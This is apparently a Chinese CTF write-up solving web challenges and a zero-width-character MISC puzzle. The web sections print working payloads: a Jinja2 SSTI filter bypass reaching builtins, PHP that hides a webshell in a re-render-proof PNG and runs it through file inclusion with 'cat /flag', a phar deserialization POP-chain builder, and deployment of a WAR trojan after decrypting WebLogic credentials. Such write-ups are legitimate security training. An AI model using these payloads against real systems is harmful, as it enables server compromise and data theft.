Web

ssti

经过多次尝试发现request被禁用,于是构造payload直接给不同变量赋值,拼接成最后的file='/flag'命令。这里直接放payload:

1
2
3
4
5
6
7
8
9
10
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

ez_upload

http://219.219.61.234:7777/robots.txt发现hint:

image-20211007172344153

进入后发现上传页面。多次尝试在图片中包含小马但被系统提示:真的是图片吗? 于是再次尝试修改文件头等方式均无效,最后怀疑是调用了imagecreatefrom函数进行了二次渲染。于是使用如下php代码制作一张二次渲染后恶意代码仍存在的png文件。这段代码能将小马隐藏在一张正常图片之中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

使用命令行执行php代码,得到1.png,上传后成功被系统accept。

接下来利用文件包含漏洞调用上传的小马:payload:http://219.219.61.234:7777/?0=system&file=./upload/413110900.png,然后post 1=cat /flag

QQ截图20211002223439

得到flag。QQ截图20211002223421

web5

首先在show file页面输入index.php得到部分源代码:

image-20211007181142317

include 'base.php';,于是进入http://219.219.61.234:20022/file.php?file=base.php,以此方法又得到了`class.php`、`file.php`、`upload.php`、`function.php`的源码。从`function.php`的以下代码中可以发现服务器存储文件名的算法:

1
2
3
4
5
6
7
8
9
function upload_do() { 
global $_FILES;
$filename = md5($_FILES["file"]["name"]).".jpg";
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}

即将整个文件名用md5加密,然后加上后缀.jpg,存放到upload/中。

下面我们根据class.php构造POP链生成phar文件,主要原理:利用File类__destruct()中的echo $this->file;语句—>调用Docker类的 __toString()函数—>调用Cloud类中的get_file()函数得到/flag。利用以下代码生成phar文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class File
{
public $file;
public $fakefile;

}
class Show
{
public $filename;
}
class Docker
{
public $str;
public $container1;
public $container2;
}
class Cloud
{
public $docker;
private $value = "/var/www/html/flag.php";
}

$do = new Docker();
$fi = new File();
$cl =new Cloud();
$do->str = $cl;
$fi->fakefile = $do;

$phar = new Phar("exp9.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($fi);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

成功上传后利用文件包含漏洞访问phar文件,得到flag。payload:http://219.219.61.234:20022/file.php?file=phar://upload/173d9a103870c14d86fdb93129ee7d9c.jpg

image-20211007180941116

base64解码得到flag。

web7

首先尝试弱口令,无效。于是进行解密。

设置路径为./security/SerializedSystemIni.dat,使用Burp Suite抓包,将乱码部分拷贝为文件,命名为1.dat。

image-20211007201027297

同理,设置路径为./config/config.xml,得到加密后的管理员密码为{AES}9VgweUmigT7OjfK/quYRTd947tkcRiSnnQ1qxe1Sp/c2rUwn65ISTNaLPLxE9xLU

利用weblogic控制台解密工具得到管理员密码:

QQ截图20211007125314

进入部署页面

image-20211007201410823

上传test0000.war木马文件,保存部署:

QQ截图20211007131921

访问该木马,进入文件管理页面,不断进入上层目录,发现flag.tar,但为空。于是继续进入上层目录,发现可疑文件:

QQ截图20211007131830

下载并用记事本打开,得到flag。

MISC

加密?

第一层:显然是福尔摩斯里的跳舞的小人,密码:SHERLOCK

密码

进入压缩包备注中的网站,发现是零宽度字符解码网站。在Windows中打开压缩包中的密码.txt,无法读取零宽度字符,于是到linux系统中用vim读取,并copy到解码网站,得到压缩密码:

QQ截图20211005182316

打开flag.txt,使用base16解码得到flag。

QQ截图20211005182340